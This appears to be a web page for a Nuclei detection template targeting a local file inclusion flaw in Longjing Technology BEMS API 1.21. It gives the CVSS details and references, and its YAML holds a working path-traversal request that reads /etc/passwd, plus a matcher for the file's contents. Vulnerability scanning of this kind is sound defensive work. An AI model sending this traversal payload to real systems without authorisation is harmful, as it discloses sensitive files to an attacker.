Longjing Technology BEMS API 1.21 - Local File Inclusion

ID: bems-api-lfi

Severity: high

Author: gy741

Tags: lfi,packetstorm

Description

Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.

YAML Source

id: bems-api-lfi

info:
  name: Longjing Technology BEMS API 1.21 - Local File Inclusion
  author: gy741
  severity: high
  description: Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
    - https://packetstormsecurity.com/files/163702/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: lfi,packetstorm

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f911774673849ba8f42dc0ec10c1ee89a391f09f56815383b90a3d6d9cc2624302207aad3fb45f4f448347233c5c9b431e10e561c3cfeec971e280664b67d3df8ea4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/bems-api-lfi.yaml"

View on Github